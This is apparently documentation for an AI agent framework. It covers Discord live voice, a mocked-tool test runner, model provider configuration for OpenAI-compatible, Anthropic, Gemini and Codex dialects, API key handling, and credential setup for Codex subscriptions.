Re-run `af discord-invite agent.yaml` and open the URL - the invite now asks for the permissions to connect to a voice channel and speak in it. Then give the agent an `OPENAI_API_KEY`, even if its `model:` block runs on something else entirely; the realtime session is a separate connection with a separate key. ## Keys and the sandbox [#keys-and-the-sandbox] Every API key resolves at startup from the env var the config names, and a missing key stops the agent right there with the var's name in the error. Under [hermetic mode](/agent-framework/permission-model) the engines' hosts join the derived allowlist on their own, so there is nothing to declare in `permissions.net`. Live voice is the exception, and it is a real one. Voice media travels over UDP to a media server Discord picks per session, and Deno's sandbox cannot hold a permission for an address it does not know in advance. An agent with `voice_channels` therefore runs outside hermetic mode, with the container as its egress boundary. `af validate` says so plainly. If hermetic mode is load-bearing for you, keep live voice on an agent that does not need it. ## What this doesn't cover [#what-this-doesnt-cover] Slack is absent from this whole page, because Slack gives bots no voice surface at all - no voice messages to read or post, no huddle audio to join. Telegram stops at voice notes; live calls there need a user account, which a bot is not. Two smaller things we decided against. The waveform Discord draws on the agent's voice replies is a placeholder shape, since drawing the real envelope would mean decoding the Opus we just encoded. And live voice does not yet know who is speaking: it hears the channel as one voice, so `from_users` does not apply to it. There is one risk worth naming. Discord is moving voice to end-to-end encryption (DAVE), and this bridge negotiates the older transport-encrypted path. Voice servers still accept it. When they stop, live voice needs the new protocol, and that is a change we will have to make rather than a knob you can turn. # Testing (/agent-framework/testing) An agent's behaviour comes from the combination of its purpose, its model, its skills and its toolset. Change any one of them and the behaviour can shift, and until now the only way to notice was to run the agent and poke at it by hand. `af test` gives you a set of cases that live next to the agent file, say what the agent is supposed to do and run cheaply enough to check on every change. ## Writing cases [#writing-cases] `af test` looks for `agent.test.yaml` next to the agent file (or `tests/*.yaml` when you have many). A case gives an input, the canned tool results the run should see and checks against the outcome: ```yaml cases: - name: creates an issue from a bug report input: "the export button 500s when the report has no rows" mocks: run_bash: "https://github.com/loopedautomation/looped/issues/42" checks: - status: ok - tool_called: run_bash - reply_contains: "issues/42" - name: ignores chatter input: "lunch anyone?" checks: - tool_not_called: run_bash ``` Run it with: ```sh af test agent.yaml ``` The output is one line per case with steps and token counts, then a summary. The exit code is non-zero when any case fails, so the same command works in CI; the provider API key is the only secret a test run needs. ## The model is real and the tools are mocked [#the-model-is-real-and-the-tools-are-mocked] Each case goes through the agent's real loop with the real system prompt assembly, and the provider call is a real call to the configured model. That's the point: a case verifies that the purpose, the model, the skills and the toolset produce the right behaviour together. The tools are where the side effects live, and a test run must never open a GitHub issue. So tool execution is intercepted: a call to a mocked tool returns the canned result from `mocks:`, and a call to a tool with no mock fails the case. That strictness is deliberate, because a surprise tool call is exactly the kind of behaviour a test should catch. It also has an honest cost: when you teach the agent a new step, you update the mocks. Framework tools with no external side effects (`current_time`, `read_skill` and the [memory](/agent-framework/memory) tools) run for real, so you don't have to mock the plumbing. Runs write to an in-memory store, which means your agent's `/data` volume stays untouched. ## Checks [#checks] The available checks: | Check | Passes when | | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------ | | `status: ok` | the run ended with that status (`ok`, `error_max_steps`, `error_provider`) | | `reply_contains: "text"` | the final reply contains the text | | `reply_matches: "regex"` | the final reply matches the regular expression (a JavaScript regex, compiled with no flags - write `[Ss]panish` rather than `(?i)spanish`) | | `tool_called: name` | the run called that tool | | `tool_not_called: name` | the run never called that tool | | `max_steps_used: 3` | the run used at most that many steps | These are deterministic on purpose: they cost nothing beyond the run itself and they never flake on grading. A model-graded check (`judge:`) is planned but hasn't been built yet, so for now write checks against facts in the reply. ## What a failing case is telling you [#what-a-failing-case-is-telling-you] A test run makes one call per case by default, and the default expectation is that a well-scoped agent on the right model passes consistently. A case that only passes sometimes is usually telling you that the job is under-specified or the model is under-sized, and the fix belongs in the agent file. Tighten the purpose, add a skill or move up a model size; a retry loop would only hide the signal. Mocks are keyed by tool name, so two different `run_bash` calls in one case get the same canned result. If a case needs the second call to see something different, that's a sign the case is covering two behaviours and wants to be two cases. # Overview (/agent-framework/models) Every agent names its model in the required `model:` block; there is no fleet-wide default. The `provider` field is a **dialect**: four dialects cover effectively every hosted and local endpoint, and swapping providers is a one-line change. The short version lives in [Agent Config](/agent-framework/agent-file#model); this page covers what the dialects share, and each provider has its own page: [OpenAI](/agent-framework/openai), [Anthropic](/agent-framework/anthropic), [Gemini](/agent-framework/gemini) and [Codex](/agent-framework/codex). ```yaml model: provider: openai-compatible # or: anthropic, gemini, codex id: gpt-5.4-mini ``` ## The four dialects [#the-four-dialects] | | [`openai-compatible`](/agent-framework/openai) | [`anthropic`](/agent-framework/anthropic) | [`gemini`](/agent-framework/gemini) | [`codex`](/agent-framework/codex) | | ---------------- | ------------------------------------------------------------------------------------- | ----------------------------------------- | ------------------------------------------- | --------------------------------------- | | Speaks to | OpenAI, Ollama, vLLM, LiteLLM, OpenRouter — anything serving the chat-completions API | The native Anthropic Messages API | The native Gemini API (`generateContent`) | The ChatGPT Codex backend | | Default endpoint | `https://api.openai.com/v1` | `https://api.anthropic.com` | `https://generativelanguage.googleapis.com` | `https://chatgpt.com/backend-api/codex` | | Auth | `OPENAI_API_KEY` | `ANTHROPIC_API_KEY` | `GEMINI_API_KEY` | `codex login` credentials (no key) | | `base_url` | Any compatible endpoint — this is how local models work | Anthropic-compatible proxies | Gemini-compatible proxies | Rarely needed | `id` is the plain model identifier the endpoint expects — `gpt-5.4-mini`, `claude-sonnet-5`, `llama3.1`. There is no combined `provider/model` string syntax; the two fields stay separate, which is what makes `base_url` proxies transparent. ## API keys [#api-keys] The config names an environment variable; the key itself stays out of the file. At startup the runtime reads the key from the environment variable named by `api_key_env`, defaulting to `OPENAI_API_KEY` / `ANTHROPIC_API_KEY` / `GEMINI_API_KEY` per provider: ```yaml model: provider: openai-compatible id: gpt-5.4-mini api_key_env: OPENROUTER_API_KEY # optional: which env var holds the key ``` Supply the variable the way your deployment supplies env: `export` locally, `--env-file .env` with `docker run`, `env_file:` in compose. One subtlety: the provider key is read straight from the process environment — unlike `${VAR}` references in the [`env:` block](/agent-framework/agent-file#env), it does not fall back to `/run/secrets/` files. A missing key fails at startup, before any event is handled: ``` missing API key: set OPENAI_API_KEY (or point model.api_key_env at the right env var) ``` Two exceptions: `openai-compatible` with an explicit `base_url` needs no key, because [local models](/agent-framework/openai#local-models) usually don't have one; and the [`codex` provider](/agent-framework/codex) authenticates with ChatGPT subscription credentials, so no key env var applies. ## The small model [#the-small-model] ```yaml model: provider: openai-compatible id: gpt-5.4-mini small: gpt-5.4-nano ``` `small` routes the framework's cheap internal calls — today, the [naming step](/agent-framework/agent-file#identity-handle-description--and-the-name) on first boot — to a smaller model. It defaults to the main `id`; set it to a small model and those calls cost close to nothing. ## When the provider fails [#when-the-provider-fails] Transient failures retry themselves: rate limits (HTTP 429), overload (5xx), and network errors get up to three attempts with exponential backoff (500 ms, then 1 s). Auth failures (401/403) and malformed requests (other 4xx) fail immediately — retrying wouldn't change the answer. A call that still fails ends the run with status `error_provider` and a one-line reason. The *run* fails; the *service* stays up, waiting for the next event — statuses are in the [limits table](/agent-framework/agent-file#limits). **`fallbacks`** declares model ids to try in order when the primary fails. The schema accepts and validates the field today, but the runtime chain hasn't landed yet — until it does, a failed primary ends the run `error_provider` regardless of the list. ## What is deliberately not configurable [#what-is-deliberately-not-configurable] There are no `temperature` or max-output-token fields; requests use the provider's defaults (the `anthropic` and `gemini` dialects cap output at 4096 tokens per call). If you need one of these controls, put a rewriting proxy such as LiteLLM behind `base_url`. The exhaustive field list is the [JSON Schema](https://github.com/loopedautomation/agent-framework/blob/main/schema/agent.json), enforced [in your editor](/agent-framework/agent-file#editor-support) as you type. # OpenAI (/agent-framework/openai) The `openai-compatible` provider speaks the chat-completions API, and that dialect reaches far beyond OpenAI itself: Ollama, vLLM, LiteLLM, OpenRouter and most hosted gateways all serve it. If an endpoint advertises OpenAI compatibility, this is the provider to point at it. ```yaml model: provider: openai-compatible id: gpt-5.4-mini ``` With no `base_url`, requests go to `https://api.openai.com/v1` and the key is read from `OPENAI_API_KEY`. How keys are named and supplied is covered in [Providers](/agent-framework/models#api-keys). ## Proxies and gateways [#proxies-and-gateways] `base_url` points the dialect at any compatible endpoint, and `api_key_env` names the env var that endpoint's key lives in: ```yaml model: provider: openai-compatible id: anthropic/claude-sonnet-5 base_url: https://openrouter.ai/api/v1 api_key_env: OPENROUTER_API_KEY ``` `id` stays a plain model identifier in whatever form the endpoint expects. There is no combined `provider/model` string syntax in the config itself; the two fields stay separate, which is what makes proxies transparent. ## Local models [#local-models] ```yaml model: provider: openai-compatible id: llama3.1 base_url: http://localhost:11434/v1 # Ollama ``` With a `base_url` set, no API key is required, because local models usually don't have one. `af init --provider local` scaffolds exactly this shape. When the agent runs in a container, remember `localhost` is the container itself: use `http://host.docker.internal:11434/v1` to reach a model server on the host (on Linux, add `--add-host=host.docker.internal:host-gateway`). # Anthropic (/agent-framework/anthropic) The `anthropic` provider speaks the native Anthropic Messages API. Use it for Claude models on Anthropic's own endpoint, or for any proxy that serves the same API shape. ```yaml model: provider: anthropic id: claude-sonnet-5 ``` With no `base_url`, requests go to `https://api.anthropic.com` and the key is read from `ANTHROPIC_API_KEY`. Point `api_key_env` at a different env var if your key lives elsewhere; the mechanics are in [Providers](/agent-framework/models#api-keys). ```yaml model: provider: anthropic id: claude-sonnet-5 base_url: https://my-litellm-proxy.internal # any Messages-API-compatible endpoint api_key_env: PROXY_API_KEY ``` ## Claude subscription auth [#claude-subscription-auth] Instead of an API key, the provider accepts an OAuth token from a Claude Pro/Max subscription. Generate one with the Claude Code CLI: ```bash claude setup-token ``` and export it as `CLAUDE_CODE_OAUTH_TOKEN` (no config change needed — the provider falls back to it when `ANTHROPIC_API_KEY` is unset). A token pasted into `ANTHROPIC_API_KEY`, or any env var named by `api_key_env`, also works: the provider recognizes the `sk-ant-oat` prefix and switches to Bearer auth with the `oauth-2025-04-20` beta header automatically. > **Disclaimer.** Anthropic officially supports subscription usage through Claude Code and the Claude Agent SDK — not through direct Messages API calls. This token path works today, but Anthropic may restrict or reject non-Claude-Code use of subscription tokens at any time, and relying on it may be against their terms of service. Use it at your own risk, prefer an API key for anything production-critical, and expect requests to fail with an auth error if enforcement changes. Subscription tokens also draw from your plan's 5-hour/weekly usage windows rather than metered billing, so a busy agent competes with your own interactive usage. One behavior worth knowing: this dialect caps output at 4096 tokens per call. The Messages API requires an explicit maximum and the framework deliberately has no config field for it, so we picked a fixed value. If a run needs longer single responses, put a rewriting proxy such as LiteLLM behind `base_url`; the reasoning is in [what is deliberately not configurable](/agent-framework/models#what-is-deliberately-not-configurable). # Gemini (/agent-framework/gemini) The `gemini` provider speaks the native Gemini API (`generateContent`). Use it for Gemini models on Google's own endpoint, or for any proxy that serves the same API shape. ```yaml model: provider: gemini id: gemini-3.6-flash ``` With no `base_url`, requests go to `https://generativelanguage.googleapis.com` and the key is read from `GEMINI_API_KEY` — get one from [Google AI Studio](https://aistudio.google.com/apikey). Point `api_key_env` at a different env var if your key lives elsewhere; the mechanics are in [Providers](/agent-framework/models#api-keys). ```yaml model: provider: gemini id: gemini-3.6-flash base_url: https://my-gemini-proxy.internal # any generateContent-compatible endpoint api_key_env: PROXY_API_KEY ``` Gemini is also reachable through Google's OpenAI-compatible endpoint with the [`openai-compatible`](/agent-framework/openai) dialect (`base_url: https://generativelanguage.googleapis.com/v1beta/openai/`). Prefer the native dialect: it reports thinking-token usage correctly and doesn't depend on the compatibility layer's dialect mapping. Two behaviors worth knowing: * **Tool-call ids are synthesized.** Gemini matches tool results to calls by function name rather than id, and not every model version emits ids at all, so the provider mints ids of the form `#` and recovers the name when replaying tool results. This is invisible in normal operation; it only matters if you read raw session transcripts. * **Thinking tokens count as output.** Reasoning models like Gemini 3.6 Flash report thought tokens separately (`thoughtsTokenCount`); they are billed as output, so the provider adds them to the run's output-token usage. For reaching Gemini models on Vertex AI (service-account auth rather than API keys), put a rewriting proxy such as LiteLLM behind `base_url` — the framework deliberately holds no cloud-SDK credentials. # Codex (/agent-framework/codex) The `codex` provider runs your agents on an OpenAI Codex (ChatGPT Plus, Pro or Team) subscription. There is no API key. The runtime signs requests with the OAuth credentials the [Codex CLI](https://github.com/openai/codex) writes to `~/.codex/auth.json` when you run `codex login`. ```yaml model: provider: codex id: gpt-5-codex ``` The backend serves the Codex model family (`gpt-5-codex`, `gpt-5`); for other OpenAI models, use [openai-compatible](/agent-framework/openai) with an API key. ## Logging in [#logging-in] Install the Codex CLI and sign in once on a machine with a browser: ```sh npm i -g @openai/codex codex login ``` That writes your tokens to `~/.codex/auth.json`. From then on the runtime handles the lifecycle itself: when the access token nears expiry it refreshes it and writes the new tokens back to the file, so the CLI and your agents keep working from the same login. If your credentials live somewhere other than `~/.codex`, set `CODEX_HOME`. For a headless server, sign in on your laptop and copy the file over (`scp ~/.codex/auth.json server:~/.codex/`). This is the pattern OpenAI documents for CI runners. There is also a beta device-code flow (`codex login --device-auth`) that signs in from a headless box directly, once you enable it in your ChatGPT settings. ## Containers [#containers] Mount the credential directory into the runtime user's home: ```yaml volumes: - ~/.codex:/home/looped/.codex # `codex login` credentials ``` `af init --provider codex` scaffolds this shape. A read-only mount also works; the refreshed token then lives only in process memory and gets refreshed again on the next start. Where mounting a file is awkward (Coolify, a PaaS with env-only config), paste the contents of `auth.json` into a `CODEX_AUTH_JSON` env var and skip the mount. The trade-off is that an env var never gets the rotated refresh token written back, so a long-lived deployment can eventually stop refreshing; when the logs show auth errors, run `codex login` again and re-paste. The file mount is the more durable option. ## Machine tokens [#machine-tokens] On a ChatGPT Business or Enterprise workspace there is a cleaner credential: [Codex access tokens](https://developers.openai.com/codex/enterprise/access-tokens), the machine tokens admins mint in the workspace console for automation. Put one in `CODEX_ACCESS_TOKEN` and the runtime uses it directly; it wins over `CODEX_AUTH_JSON` and the credential file when more than one is set. These tokens are made for servers: scoped to a workspace identity, revocable one at a time, with an expiry you choose at creation. When one expires, runs fail with auth errors until you mint a replacement. ## What you're trusting the server with [#what-youre-trusting-the-server-with] On a personal plan, the tokens from `codex login` are your whole ChatGPT account. Anyone who reads them can spend your subscription's Codex quota as you, and revoking them means signing out sessions on the account. Treat `auth.json` and `CODEX_AUTH_JSON` the way you'd treat a password: fine on a server you'd also trust with your SSH key, wrong for shared or multi-tenant infrastructure. For those, use a machine token on a workspace plan, or a scoped API key via [openai-compatible](/agent-framework/openai). Usage also counts against your subscription's rate limits, and those limits are shared with your own Codex sessions on the same account. A busy agent and a busy you compete for the same quota.